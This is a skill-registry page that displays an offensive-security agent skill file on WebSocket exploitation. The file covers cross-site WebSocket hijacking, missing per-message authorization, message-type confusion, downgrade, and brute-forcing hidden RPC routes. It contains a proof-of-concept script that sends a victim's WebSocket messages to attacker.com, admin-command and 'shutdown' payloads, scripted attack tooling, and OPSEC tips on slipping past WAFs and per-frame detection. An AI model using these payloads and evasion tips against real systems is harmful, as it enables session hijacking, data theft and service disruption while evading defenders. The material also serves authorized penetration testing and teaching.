CtrlK
BlogDocsLog inGet started
Tessl Logo

api-websocket

WebSocket exploitation — origin-bypass (CSWSH cross-site WebSocket hijacking), missing per-message auth, message-type confusion, msg-flood DoS, ws→wss downgrade, hidden RPC routes in the WS frame layer.

62

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

SecuritybySnyk

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/api/websocket/SKILL.md
SKILL.md
Quality
Evals
Security

WebSocket Attack Surface

Detect

Look for Upgrade: websocket in any handshake. Common paths: /ws, /socket.io, /graphql-ws, /cable (Rails ActionCable), /hub (SignalR).

# Quick handshake test
curl -sk -i \
  -H "Connection: Upgrade" \
  -H "Upgrade: websocket" \
  -H "Sec-WebSocket-Key: $(openssl rand -base64 16)" \
  -H "Sec-WebSocket-Version: 13" \
  -H "Origin: https://target" \
  https://target/ws
# 101 = upgraded

Top 5 bug classes

1. Cross-Site WebSocket Hijacking (CSWSH)

Server doesn't validate Origin. Attacker site can open a WS from the victim's browser with the victim's cookies:

<!-- Hosted on attacker.com -->
<script>
const ws = new WebSocket("wss://target/ws");
ws.onmessage = e => fetch("https://attacker.com/x?d=" + btoa(e.data));
ws.onopen   = () => ws.send(JSON.stringify({op:"list_messages"}));
</script>

Test by sending the same request you saw in DevTools but with Origin: https://attacker.com. If server accepts → CSWSH.

2. Missing per-message authorization

Server checks JWT on connect but trusts every later message. Send a connect with a low-priv token, then drop an admin-style message:

wscat -c "wss://target/ws?token=lowpriv_jwt"
> {"op":"users.list_all"}     # ⚠ admin op succeeds

3. Message-type confusion

Server dispatches by JSON type field. Send a message with two types or a type the server doesn't expect:

{"type":"chat","type":"admin","args":{"cmd":"shutdown"}}
{"type":"\u0061dmin","args":{...}}        // Unicode-normalize bypass

4. WS → wss downgrade

If the app uses ws:// over a public network: MITM to drop the upgrade and read everything in clear. Browser only forces wss for mixed-content cases.

5. Hidden RPC routes

WS multiplex many RPC methods over one socket. Discovery is rarely complete. Brute-force method names:

wscat -c wss://target/ws -H "Authorization: bearer $TOKEN" -x '{"op":"PLACEHOLDER","args":{}}'
# Replace PLACEHOLDER with each candidate: admin.*, internal.*, debug.*, eval, etc.
# Distinct error per route reveals what exists vs what's gated.

Tooling

# wscat — interactive
npm install -g wscat

# websocat — netcat for WS
websocat wss://target/ws

# Burp Suite — full WS interception (Proxy → WebSockets History)

# Pwntools-style for scripted attacks
python3 -c '
import websocket, json
ws = websocket.create_connection("wss://target/ws", header=["Origin: https://target", "Cookie: session=..."])
ws.send(json.dumps({"op":"users.list"}))
print(ws.recv())
ws.close()
'

Protocol-specific tips

Socket.IO

Multiple "engine" levels: long-polling fallback, sticky sessions. Hit /socket.io/?EIO=4&transport=polling first.

STOMP over WebSocket

CONNECTSENDSUBSCRIBE text frames. SUBSCRIBE /topic/admin often missing authz.

GraphQL-WS / graphql-transport-ws

connection_init payload often carries auth. Server may accept reconnections without re-authing — replay attack.

SignalR

Negotiate URL /hub/negotiate. Token in negotiate is reusable for the WS upgrade.

OPSEC

  • WebSocket sessions are long-lived — server-side detection is per-frame. Burst-write 1000 messages, observe quench/error rate.
  • WAFs often DON'T inspect WS frames. Once inside a WS, you can move freely vs HTTP.
  • Browser DevTools "Frames" tab makes CSWSH PoCs trivially reproducible — capture-and-replay flow.

References

  • PortSwigger Academy "WebSocket attacks" track
  • OWASP WebSocket testing guide
  • "Cross-Site WebSocket Hijacking" — Christian Schneider (original 2013 writeup)
Repository
PurpleAILAB/Decepticon
Last updated
First committed

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.